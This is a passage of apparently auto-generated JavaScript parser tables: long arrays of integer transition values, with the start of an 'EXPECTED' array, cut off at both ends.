7,97,97,97,97,97,97,97,97,97,1351,97,97,97,97,97,97,1357,97,97,97,97,97,588,97,97,97,97,97,97,97,97,97,97,568,97,97,97,97,97,97,97,1365,97,97,97,97,1369,97,97,97,97,97,97,97,97,97,1356,97,97,97,97,97,97,45,45,1403,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1399,45,45,45,1413,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1669,45,1422,45,45,1425,45,45,1428,45,1429,67,67,67,67,67,67,67,67,1468,67,67,67,67,67,67,67,67,529,67,67,67,67,67,67,539,67,67,1475,67,0,0,0,0,0,0,0,0,0,0,0,0,140,2170880,2170880,2170880,2416640,97,97,1530,97,0,45,45,1534,45,45,45,45,45,45,45,45,1956,45,45,67,67,67,67,67,67,67,67,67,1599,67,67,1601,67,67,67,67,67,67,67,67,67,803,67,67,67,67,67,67,1632,97,1634,0,97,97,97,1640,97,97,97,1643,97,97,1645,97,97,97,97,97,912,97,97,97,97,97,97,97,97,97,0,0,0,45,45,45,45,45,45,1660,1661,45,45,45,45,1665,1666,45,45,45,45,45,1670,1692,1693,67,67,67,67,67,1697,67,67,67,67,67,67,67,1702,97,97,1714,1715,97,97,97,97,0,1721,1722,97,97,97,97,97,97,1353,97,97,97,97,97,97,97,97,1362,1726,97,0,0,97,97,97,0,97,97,97,1734,97,97,97,97,97,848,849,97,97,97,97,856,97,97,97,97,97,354,0,53264,0,18,18,24,24,0,28,28,45,45,1750,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1681,45,0,1846,97,97,97,97,97,97,45,45,1854,45,45,45,45,1859,67,67,67,1879,67,67,97,97,1884,97,97,0,0,0,97,97,97,1105,97,97,97,97,97,97,97,97,97,97,1344,97,97,97,1347,97,1892,97,0,0,0,97,97,97,1900,97,97,45,45,45,45,45,997,45,45,45,45,45,45,45,45,45,45,1002,45,45,1005,1006,45,67,67,67,67,67,1926,67,67,1928,97,97,97,97,97,0,0,97,97,97,0,97,97,97,97,97,97,1737,97,0,97,97,97,97,0,0,0,97,97,1944,97,97,1946,45,45,45,1544,45,45,45,45,45,45,45,45,45,45,45,45,190,45,45,45,152,155,45,163,45,45,177,179,182,45,45,45,193,197,45,45,45,1672,45,45,45,45,45,1677,45,1679,45,45,45,45,996,45,45,45,45,45,45,45,45,45,45,45,1212,45,45,45,45,67,260,264,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,97,295,299,302,97,310,97,97,324,326,329,97,97,97,0,97,97,1639,0,1641,97,97,97,97,97,97,97,97,1511,97,97,97,97,97,97,97,97,1523,97,97,97,97,97,97,97,97,1719,97,97,97,97,97,97,97,97,1720,97,97,97,97,97,97,97,312,97,97,97,97,97,97,97,97,1123,97,97,97,97,97,97,97,340,344,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,0,364,0,367,41098,369,140,45,45,373,375,419,45,45,45,45,45,45,45,45,45,428,45,45,435,45,45,45,1751,45,45,45,45,45,45,45,45,45,45,45,45,1410,45,45,45,67,67,67,505,67,67,67,67,67,67,67,67,67,514,67,67,67,67,67,67,1969,67,97,97,97,97,0,0,0,97,97,45,67,0,97,45,67,0,97,2064,2065,0,2066,45,521,67,67,67,67,67,67,67,67,67,67,534,67,67,67,67,67,67,465,67,67,67,474,67,67,67,67,67,67,67,1467,67,67,67,67,67,67,67,67,67,97,97,97,97,97,1933,0,97,97,97,602,97,97,97,97,97,97,97,97,97,611,97,97,18,640,139621,358,641,0,0,0,0,364,0,0,367,0,618,97,97,97,97,97,97,97,97,97,97,631,97,97,97,97,97,881,97,97,97,97,97,97,97,97,97,97,569,97,97,97,97,97,369,0,45,652,45,45,45,45,45,657,45,45,45,45,45,45,1235,45,45,45,45,45,45,45,45,67,67,67,1432,67,67,67,67,67,67,67,766,67,67,67,67,67,67,67,67,773,67,67,67,0,1305,0,1311,0,1317,97,97,97,97,97,97,97,1624,97,97,97,97,97,97,97,97,0,97,97,97,1724,97,97,97,777,67,67,782,67,67,67,67,67,67,67,67,67,67,67,67,535,67,67,67,67,67,67,67,814,67,67,67,67,67,67,67,67,67,37689,544,25403,546,70179,0,0,66365,66365,552,0,97,837,97,97,97,97,97,97,1496,97,97,97,97,97,97,97,97,97,97,918,97,97,97,97,0,842,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1168,97,97,97,97,864,97,97,97,97,97,97,97,97,871,97,97,97,0,1637,97,97,0,97,97,97,97,97,97,97,97,97,97,1801,45,45,97,875,97,97,880,97,97,97,97,97,97,97,97,97,97,97,1151,1152,97,97,97,67,67,67,1040,67,67,67,67,67,67,67,67,67,67,67,67,790,67,67,67,1180,0,649,45,45,45,45,45,45,45,45,45,45,45,45,45,200,45,45,67,67,67,1454,67,67,67,67,67,67,67,67,67,67,67,67,806,67,67,67,0,0,0,1481,0,1094,0,0,97,1483,97,97,97,97,97,97,304,97,97,318,97,97,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,97,97,97,1507,97,97,97,97,97,97,97,97,97,97,97,97,1332,97,97,97,1619,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1631,97,1633,97,0,97,97,97,0,97,97,97,97,97,97,97,97,97,1381,0,0,45,45,45,45,97,97,1727,0,97,97,97,0,97,97,97,97,97,97,97,97,626,97,97,97,97,97,97,636,45,45,1760,67,67,67,67,67,67,67,1765,67,67,67,67,67,67,67,1299,67,67,67,0,0,0,0,0,0,97,97,97,97,1616,97,97,1803,45,45,45,45,1807,45,45,45,45,45,1813,45,45,45,67,67,1684,67,67,67,67,67,67,67,67,67,67,67,822,67,67,37689,544,67,67,1818,67,67,67,67,1822,67,67,67,67,67,1828,67,67,67,67,67,97,0,0,97,97,97,97,97,45,45,45,2012,2013,45,45,67,67,67,2018,2019,67,67,97,67,97,97,97,1833,97,97,0,0,97,97,1840,97,97,0,0,97,97,97,0,97,97,1733,97,1735,97,97,97,0,97,97,97,1849,97,97,97,45,45,45,45,45,1857,45,45,45,1910,45,1912,45,45,1914,45,67,67,67,67,67,67,67,67,67,67,1017,67,67,1020,67,45,1861,45,45,45,45,45,67,67,67,67,67,1872,67,67,67,67,67,67,752,67,67,67,67,67,67,67,67,67,67,1446,67,67,67,67,67,1876,67,67,67,67,67,97,97,97,97,97,0,0,0,1890,97,97,97,97,97,1134,97,97,97,97,97,97,97,97,97,97,570,97,97,97,97,580,1935,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,1906,45,67,67,67,67,2048,0,97,97,97,97,45,45,67,67,0,0,0,0,925,41606,0,0,0,931,45,45,45,45,45,45,1674,45,1676,45,45,45,45,45,45,45,446,45,45,45,45,45,45,45,67,67,67,67,1871,67,67,67,67,0,97,97,45,67,0,97,2060,2061,0,2063,45,67,0,97,45,45,156,45,45,45,45,45,45,45,45,45,192,45,45,45,45,1673,45,45,45,45,45,45,45,45,45,45,45,429,45,45,45,45,67,67,67,269,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,349,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,0,364,0,367,41098,369,140,45,45,374,45,45,67,67,213,217,67,67,67,67,67,242,67,247,67,253,45,45,698,45,45,45,45,45,45,45,45,45,45,45,45,45,399,45,45,0,0,0,0,925,41606,0,929,0,0,45,45,45,45,45,45,1391,45,45,1395,45,45,45,45,45,45,423,45,45,45,45,45,45,45,436,45,67,67,67,67,1041,67,1043,67,67,67,67,67,67,67,67,67,67,1776,67,67,97,97,97,1099,0,0,97,97,97,97,97,97,97,97,97,97,97,97,97,888,97,97,97,1131,97,97,97,97,1135,97,1137,97,97,97,97,97,97,97,1497,97,97,97,97,97,97,97,97,97,883,97,97,97,97,97,97,1310,0,0,0,1316,0,0,0,0,1100,0,0,0,97,97,97,97,97,1107,97,97,97,97,97,97,97,97,1343,97,97,97,97,97,97,1348,0,0,1317,0,0,0,0,0,97,97,97,97,97,97,97,97,97,97,97,1112,97,45,1804,45,45,45,45,45,45,45,45,45,45,45,45,45,67,1868,67,1870,67,67,67,67,67,1817,67,67,1819,67,67,67,67,67,67,67,67,67,67,67,67,823,67,37689,544,67,97,1832,97,97,1834,97,0,0,97,97,97,97,97,0,0,97,97,97,0,1732,97,97,97,97,97,97,97,850,97,97,97,97,97,97,97,97,97,1177,0,0,925,0,0,0,0,97,97,97,97,0,0,1941,97,97,97,97,97,97,45,45,45,1991,1992,45,67,67,67,67,67,67,67,67,67,1998,134,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,45,941,45,45,944,45,45,45,45,45,45,952,45,45,207,67,67,67,67,67,226,67,67,67,67,67,67,67,67,67,820,67,67,67,67,37689,544,369,650,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1682,25403,546,70179,0,0,66365,66365,552,835,97,97,97,97,97,97,97,1522,97,97,97,97,97,97,97,97,0,97,97,97,97,97,97,1725,67,67,67,1695,67,67,67,67,67,67,67,67,67,67,67,67,1034,67,1036,67,67,67,265,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,97,296,97,97,97,97,314,97,97,97,97,332,334,97,97,97,97,97,1146,1147,97,97,97,97,97,97,97,97,97,97,1626,97,97,97,97,97,97,345,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,0,364,0,367,41098,369,140,45,372,45,45,45,1220,45,45,45,45,45,45,45,45,45,45,45,45,1213,45,45,45,45,404,406,45,45,45,45,45,45,45,45,45,45,45,45,45,434,45,45,45,440,45,45,45,45,45,45,45,45,451,452,45,45,45,67,1683,67,67,67,1686,67,67,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,67,67,67,67,490,492,67,67,67,67,67,67,67,67,67,67,67,1447,67,67,1450,67,67,67,67,67,526,67,67,67,67,67,67,67,67,537,538,67,67,67,67,67,506,67,67,508,67,67,511,67,67,67,67,0,1476,0,0,0,0,0,1478,0,0,0,0,0,0,0,0,97,97,1484,97,97,97,97,97,97,865,97,97,97,97,97,97,97,97,97,97,1499,97,97,97,97,97,97,97,97,97,587,589,97,97,97,97,97,97,97,97,97,97,629,97,97,97,97,97,97,97,97,97,623,97,97,97,97,97,97,97,97,634,635,97,97,97,97,97,1160,97,97,97,97,97,97,97,97,97,97,97,1628,97,97,97,97,369,0,45,45,45,45,45,655,45,45,45,45,45,45,45,45,999,45,1001,45,45,45,45,45,45,45,45,715,45,45,45,720,45,45,45,45,45,45,45,45,728,25403,546,70179,0,0,66365,66365,552,0,97,97,97,97,97,840,97,97,97,97,97,1174,97,97,97,97,0,0,925,0,0,0,0,0,0,0,1100,97,97,97,97,97,97,97,97,627,97,97,97,97,97,97,97,938,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,680,45,968,45,970,45,973,45,45,45,45,45,45,45,45,45,45,962,45,45,45,45,45,979,45,45,45,45,45,985,45,45,45,45,45,45,45,45,45,1224,45,45,45,45,45,45,45,45,688,45,45,45,45,45,45,45,1007,1008,67,67,67,67,67,1014,67,67,67,67,67,67,67,67,67,1045,67,67,67,67,67,67,67,1038,67,67,67,67,67,67,1044,67,1046,67,1049,67,67,67,67,67,67,800,67,67,67,67,67,67,808,67,67,0,0,0,1102,97,97,97,97,97,1108,97,97,97,97,97,97,306,97,97,97,97,97,97,97,97,97,97,1371,97,97,97,97,97,97,97,97,1132,97,97,97,97,97,97,1138,97,1140,97,1143,97,97,97,97,97,1352,97,97,97,97,97,97,97,97,97,97,869,97,97,97,97,97,45,1191,45,45,45,45,45,1196,45,45,45,45,45,45,45,45,1407,45,45,45,45,45,45,45,45,986,45,45,45,45,45,45,991,45,67,67,67,1256,67,67,67,67,67,67,67,67,67,67,67,67,1048,67,67,67,97,1336,97,97,97,97,97,97,97,97,97,97,97,97,97,97,615,97,1386,45,1387,45,45,45,45,45,45,45,45,45,45,45,45,45,455,45,457,45,45,1424,45,45,45,45,45,67,67,67,67,1433,67,1434,67,67,67,67,67,767,67,67,67,67,67,67,67,67,67,67,67,1591,67,1593,67,67,45,45,1805,45,45,45,45,45,45,45,45,45,1814,45,45,1816,67,67,67,67,1820,67,67,67,67,67,67,67,67,67,1829,67,67,67,67,67,815,67,67,67,67,821,67,67,67,37689,544,67,1831,97,97,97,97,1835,0,0,97,97,97,97,97,0,0,97,97,97,1731,97,97,97,97,97,97,97,97,97,853,97,97,97,97,97,97,0,97,97,97,97,1850,97,97,45,45,45,45,45,45,45,45,1547,45,45,45,45,45,45,45,45,1664,45,45,45,45,45,45,45,45,961,45,45,45,45,965,45,967,1907,45,45,45,45,45,45,45,45,45,67,67,67,67,67,1920,0,1936,97,97,97,0,0,0,97,97,97,97,97,97,45,45,67,67,67,67,67,67,1763,67,67,67,67,67,67,67,67,1056,67,67,67,67,67,67,67,67,1273,67,67,67,67,67,67,67,67,1457,67,67,67,67,67,67,67,67,97,97,97,97,0,0,28672,97,45,67,67,67,67,0,0,97,97,97,97,45,45,67,67,2054,97,97,291,97,97,97,97,97,97,320,97,97,97,97,97,97,307,97,97,97,97,97,97,97,97,97,97,12288,0,925,926,1179,0,45,377,45,45,45,381,45,45,392,45,45,396,45,45,45,45,971,45,45,45,45,45,45,45,45,45,45,45,45,1756,45,45,45,67,67,67,67,463,67,67,67,467,67,67,478,67,67,482,67,67,67,67,67,1028,67,67,67,67,67,67,67,67,67,67,67,67,1469,67,67,1472,67,502,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1460,67,97,97,97,97,560,97,97,97,564,97,97,575,97,97,579,97,97,97,97,97,1368,97,97,97,97,97,97,97,97,97,97,0,0,925,0,0,930,97,599,97,97,97,97,97,97,97,97,97,97,97,97,97,97,872,97,45,666,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1758,0,362,0,0,925,41606,0,0,0,0,45,45,934,45,45,45,164,168,174,178,45,45,45,45,45,194,45,45,45,165,45,45,45,45,45,45,45,45,45,199,45,45,45,67,67,1010,67,67,67,67,67,67,67,67,67,67,67,67,1060,67,67,67,67,67,67,1052,1053,67,67,67,67,67,67,67,67,67,67,1063,97,1157,97,97,97,97,97,97,97,97,97,97,97,97,1167,97,97,97,97,97,1379,97,97,97,0,0,0,45,1383,45,45,45,1806,45,45,45,45,45,45,1812,45,45,45,45,67,67,67,67,67,1577,67,67,67,67,67,67,67,753,67,67,67,67,67,67,67,67,67,1262,67,67,67,67,67,67,67,1282,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1471,67,45,1402,45,45,45,45,45,45,45,45,45,45,45,45,45,45,417,45,67,1462,67,67,67,67,67,67,67,67,67,67,67,67,67,67,37689,544,97,1517,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1128,97,97,97,97,1636,97,97,97,0,97,97,97,97,97,97,97,97,851,97,97,97,97,97,97,97,67,67,1705,67,67,67,67,67,67,67,67,97,97,97,97,97,97,0,0,97,97,97,97,1842,0,0,1779,97,97,97,1782,97,0,0,97,97,97,97,97,97,0,0,97,97,97,1789,97,97,0,0,0,97,1847,97,97,97,97,97,45,45,45,45,45,45,45,45,1675,45,45,45,45,45,45,45,45,737,738,67,740,67,741,67,743,67,67,67,67,67,67,1968,67,67,97,97,97,97,0,0,0,97,97,45,67,0,97,45,67,2062,97,45,67,0,97,45,67,67,97,97,2001,97,0,0,2004,97,97,0,97,97,97,97,1797,97,97,97,97,97,45,45,45,67,261,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,292,97,97,97,97,311,315,321,325,97,97,97,97,97,97,1623,97,97,97,97,97,97,97,97,97,97,1330,97,97,1333,1334,97,341,97,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,363,364,0,367,41098,369,140,45,45,45,45,1221,45,45,45,45,45,45,45,45,45,45,45,413,45,45,416,45,376,45,45,45,45,382,45,45,45,45,45,45,45,45,45,45,1408,45,45,45,45,45,403,45,45,45,45,45,45,45,45,45,45,414,45,45,45,418,67,67,67,462,67,67,67,67,468,67,67,67,67,67,67,67,67,1602,67,1604,67,67,67,67,67,67,67,67,489,67,67,67,67,67,67,67,67,67,67,500,67,67,67,67,67,1067,67,67,67,67,67,1072,67,67,67,67,67,67,274,0,37139,24853,0,0,0,0,41098,65820,67,67,504,67,67,67,67,67,67,67,510,67,67,67,517,519,541,67,37139,37139,24853,24853,0,70179,0,0,0,65820,65820,369,287,554,97,97,97,559,97,97,97,97,565,97,97,97,97,97,97,97,1718,0,97,97,97,97,97,97,97,898,97,97,97,97,97,97,906,97,97,97,97,586,97,97,97,97,97,97,97,97,97,97,597,97,97,97,97,97,1520,97,97,97,97,97,97,97,97,97,97,0,45,1656,45,45,45,97,97,601,97,97,97,97,97,97,97,607,97,97,97,614,616,638,97,18,0,139621,0,0,0,0,0,0,364,0,0,367,41606,369,0,45,45,45,45,45,45,45,45,45,45,661,45,45,45,407,45,45,45,45,45,45,45,45,45,45,45,45,45,1815,45,67,45,667,45,45,45,45,45,45,45,45,45,45,678,45,45,45,421,45,45,45,45,45,45,45,45,45,45,45,45,976,977,45,45,45,682,45,45,45,45,45,45,45,45,45,45,693,45,45,697,67,67,748,67,67,67,67,754,67,67,67,67,67,67,67,67,67,1274,67,67,67,67,67,67,67,67,765,67,67,67,67,769,67,67,67,67,67,67,67,67,67,1589,67,67,67,67,67,67,67,67,780,67,67,784,67,67,67,67,67,67,67,67,67,67,67,1777,67,97,97,97,97,97,97,846,97,97,97,97,852,97,97,97,97,97,97,97,1742,45,45,45,45,45,45,45,1747,97,97,97,863,97,97,97,97,867,97,97,97,97,97,97,97,308,97,97,97,97,97,97,97,97,97,97,12288,1178,925,0,1179,0,97,97,97,878,97,97,882,97,97,97,97,97,97,97,97,97,97,12288,0,925,0,1179,0,908,97,97,97,97,97,97,97,97,97,97,97,97,97,97,0,0,925,0,0,0,954,45,45,45,45,45,45,45,45,45,45,963,45,45,966,45,45,157,45,45,171,45,45,45,45,45,45,45,45,45,45,948,45,45,45,45,45,1022,67,67,1026,67,67,67,1030,67,67,67,67,67,67,67,67,67,1603,1605,67,67,67,1608,67,67,67,1039,67,67,1042,67,67,67,67,67,67,67,67,67,67,471,67,67,67,67,67,0,1100,0,97,97,97,97,97,97,97,97,97,97,97,97,97,904,97,97,97,97,1116,97,97,1120,97,97,97,1124,97,97,97,97,97,97,562,97,97,97,571,97,97,97,97,97,97,97,97,97,1133,97,97,1136,97,97,97,97,97,97,97,97,915,917,97,97,97,97,97,0,97,1170,97,97,97,97,97,97,97,97,0,0,925,0,0,0,0,0,41606,0,0,0,0,45,45,45,45,45,45,1993,67,67,67,67,67,67,67,67,67,67,1275,67,67,67,1278,67,0,0,0,45,45,1182,45,45,45,45,45,45,45,45,45,1189,1204,45,45,45,1207,45,45,1209,45,1210,45,45,45,45,45,45,1546,45,45,45,45,45,45,45,45,45,689,45,45,45,45,45,45,1231,45,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,236,67,67,67,67,67,67,67,801,67,67,67,805,67,67,67,67,67,1242,67,67,67,67,67,67,67,67,67,1249,67,67,67,67,67,67,507,67,67,67,67,67,67,67,67,67,67,1300,0,0,0,0,0,1267,67,67,1269,67,1270,67,67,67,67,67,67,67,67,67,1280,97,1349,97,1350,97,97,97,97,97,97,97,97,97,1360,97,97,97,0,1980,97,97,97,97,97,45,45,45,45,45,45,673,45,45,45,45,677,45,45,45,45,1401,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,953,67,1437,67,1440,67,67,67,67,1445,67,67,67,1448,67,67,67,67,67,67,1029,67,67,67,67,67,67,67,67,67,67,1825,67,67,67,67,67,1473,67,67,67,0,0,0,0,0,0,0,0,0,0,0,0,1320,0,834,97,97,97,97,1490,97,1493,97,97,97,97,1498,97,97,97,1501,97,97,97,0,97,1638,97,0,97,97,97,97,97,97,97,97,916,97,97,97,97,97,97,0,1528,97,97,97,0,45,45,45,1535,45,45,45,45,45,45,45,1867,67,67,67,67,67,67,67,67,67,97,97,97,97,1932,0,0,1555,45,45,45,45,45,45,45,45,45,45,45,45,45,1567,45,45,158,45,45,172,45,45,45,183,45,45,45,45,201,45,45,67,212,67,67,67,67,231,235,241,245,67,67,67,67,67,67,493,67,67,67,67,67,67,67,67,67,67,472,67,67,67,67,67,97,97,97,97,1651,97,97,97,97,97,0,45,45,45,45,45,45,45,1539,45,45,45,67,1704,67,1706,67,67,67,67,67,67,67,97,97,97,97,97,97,0,0,97,97,97,1841,97,0,1844,97,97,97,97,1716,97,97,97,0,97,97,97,97,97,97,97,590,97,97,97,97,97,97,97,97,97,0,0,0,45,45,45,1385,1748,45,45,45,45,45,45,45,45,45,45,45,45,45,1757,45,45,159,45,45,45,45,45,45,45,45,45,45,45,45,45,415,45,45,97,97,1780,97,97,97,0,0,1786,97,97,97,97,97,0,0,97,97,1730,0,97,97,97,97,97,1736,97,1738,67,97,97,97,97,97,97,0,1838,97,97,97,97,97,0,0,97,1729,97,0,97,97,97,97,97,97,97,97,1162,97,97,97,1165,97,97,97,45,1950,45,45,45,45,45,45,45,45,1958,67,67,67,1962,67,67,67,67,67,1246,67,67,67,67,67,67,67,67,67,67,67,97,1710,97,97,97,1999,67,97,97,97,97,0,2003,97,97,97,0,97,97,2008,2009,45,67,67,67,67,0,0,97,97,97,97,45,2052,67,2053,0,0,0,0,925,41606,0,0,930,0,45,45,45,45,45,45,1392,45,1394,45,45,45,45,45,45,45,1545,45,45,45,45,45,45,45,45,45,45,1563,1565,45,45,45,1568,0,97,2055,45,67,0,97,45,67,0,97,45,67,28672,97,45,45,160,45,45,45,45,45,45,45,45,45,45,45,45,45,679,45,45,67,67,266,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,346,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,362,0,364,0,367,41098,369,140,371,45,45,45,379,45,45,45,388,45,45,45,45,45,45,45,45,1663,45,45,45,45,45,45,45,45,45,449,45,45,45,45,45,67,67,542,37139,37139,24853,24853,0,70179,0,0,0,65820,65820,369,287,97,97,97,97,97,1622,97,97,97,97,97,97,97,1629,97,97,0,1794,1795,97,97,97,97,97,97,97,97,45,45,45,45,45,45,1745,45,45,97,639,18,0,139621,0,0,0,0,0,0,364,0,0,367,41606,45,731,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,67,251,67,67,67,67,67,798,67,67,67,67,67,67,67,67,67,67,67,67,1073,67,67,67,860,97,97,97,97,97,97,97,97,97,97,97,97,97,97,873,0,0,1101,97,97,97,97,97,97,97,97,97,97,97,97,97,921,97,0,67,67,67,67,1245,67,67,67,67,67,67,67,67,67,67,67,67,1250,67,67,1253,0,0,1312,0,0,0,1318,0,0,0,0,0,0,97,97,97,97,1106,97,97,97,97,97,97,97,97,97,1149,97,97,97,97,97,1155,97,97,1325,97,97,97,97,97,97,97,97,97,97,97,97,97,1141,97,97,67,67,1439,67,1441,67,67,67,67,67,67,67,67,67,67,67,67,1264,67,67,67,97,97,1492,97,1494,97,97,97,97,97,97,97,97,97,97,97,1331,97,97,97,97,67,67,67,2037,67,97,0,0,97,97,97,2043,97,45,45,45,442,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,232,67,67,67,67,67,67,67,67,1823,67,67,67,67,67,67,67,67,97,97,97,97,1975,0,0,97,874,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1142,97,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,65,86,117,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,63,84,115,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,61,82,113,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,59,80,111,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,57,78,109,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,55,76,107,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,53,74,105,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,51,72,103,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,49,70,101,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,47,68,99,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,45,67,97,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,213085,53264,18,49172,57366,24,8192,28,102432,0,0,0,44,0,0,32863,53264,18,49172,57366,24,8192,28,102432,0,41,41,41,0,0,1138688,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,0,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,89,53264,18,18,49172,0,57366,0,24,24,24,0,127,127,127,127,102432,67,262,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,342,97,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,360,0,0,364,0,367,41098,369,140,45,45,45,45,717,45,45,45,45,45,45,45,45,45,45,45,412,45,45,45,45,45,67,1009,67,67,67,67,67,67,67,67,67,67,67,67,67,1292,67,67,1294,67,67,67,67,67,67,67,67,67,67,0,0,0,0,0,0,97,97,97,1615,97,97,97,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,66,87,118,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,64,85,116,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,62,83,114,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,60,81,112,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,58,79,110,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,56,77,108,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,54,75,106,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,52,73,104,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,50,71,102,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,48,69,100,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,46,67,98,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,233472,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,69724,53264,18,18,49172,0,57366,262144,24,24,24,0,28,28,28,28,102432,45,45,161,45,45,45,45,45,45,45,45,45,45,45,45,45,710,45,45,28,139621,359,0,0,0,364,0,367,41098,369,140,45,45,45,45,1389,45,45,45,45,45,45,45,45,45,45,45,949,45,45,45,45,67,503,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1449,67,67,97,600,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1154,97,0,0,0,0,925,41606,927,0,0,0,45,45,45,45,45,45,1866,67,67,67,67,67,67,67,67,67,67,772,67,67,67,67,67,45,45,969,45,45,45,45,45,45,45,45,45,45,45,45,45,951,45,45,45,45,1192,45,45,45,45,45,45,45,45,45,45,45,45,45,1202,45,45,0,0,0,1314,0,0,0,0,0,0,0,0,0,97,97,97,97,97,97,97,1488,67,67,267,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,347,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,361,0,0,364,0,367,41098,369,140,45,45,45,45,734,45,45,45,67,67,67,67,67,742,67,67,45,45,668,45,45,45,45,45,45,45,45,45,45,45,45,45,1214,45,45,1130,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1361,97,45,45,1671,45,45,45,45,45,45,45,45,45,45,45,45,45,1552,45,45,0,0,0,0,2220032,0,0,1130496,0,0,0,0,2170880,2171020,2170880,2170880,18,0,0,131072,0,0,0,90112,0,2220032,0,0,0,0,0,0,0,0,97,97,97,1485,97,97,97,97,0,45,45,45,45,45,1537,45,45,45,45,45,1390,45,1393,45,45,45,45,1398,45,45,45,2170880,2171167,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2576384,2215936,3117056,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2174976,0,0,0,0,0,0,2183168,0,0,0,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2721252,2744320,2170880,2170880,2170880,2834432,2840040,2170880,2908160,2170880,2170880,2936832,2170880,2170880,2985984,2170880,2994176,2170880,2170880,3014656,2170880,3059712,3076096,3088384,2170880,2170880,2170880,2170880,0,0,0,0,2220032,0,0,0,1142784,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3215360,2215936,2215936,2215936,2215936,2215936,2437120,2215936,2215936,2215936,3117056,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,543,0,545,0,0,2183168,0,0,831,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,3031040,2170880,3055616,2170880,2170880,2170880,2170880,3092480,2170880,2170880,3125248,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3198976,2170880,0,0,0,0,0,0,67,67,37139,37139,24853,24853,0,0,0,0,0,65820,65820,0,287,97,97,97,97,97,1783,0,0,97,97,97,97,97,97,0,0,97,97,97,97,97,97,1791,0,0,546,70179,0,0,0,0,552,0,97,97,97,97,97,97,97,604,97,97,97,97,97,97,97,97,97,97,1150,97,97,97,97,97,147456,147456,147456,147456,147456,147456,147456,147456,147456,147456,147456,147456,0,0,147456,0,0,0,0,925,41606,0,928,0,0,45,45,45,45,45,45,998,45,45,45,45,45,45,45,45,45,1562,45,1564,45,45,45,45,0,2158592,2158592,0,0,0,0,2232320,2232320,2232320,0,2240512,2240512,2240512,2240512,0,0,0,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2416640],r.EXPECTED=[291,300,304,341,315,309,305,295,319,323,327,329,296,333,337,339,342,346,350,294,356,360,312,367,352,371,363,375,379,383,387,391,395,726,399,405,518,684,405,405,405,405,808,405,405,405,512,405,405,405,431,405,405,406,405,405,404,405,405,405,405,4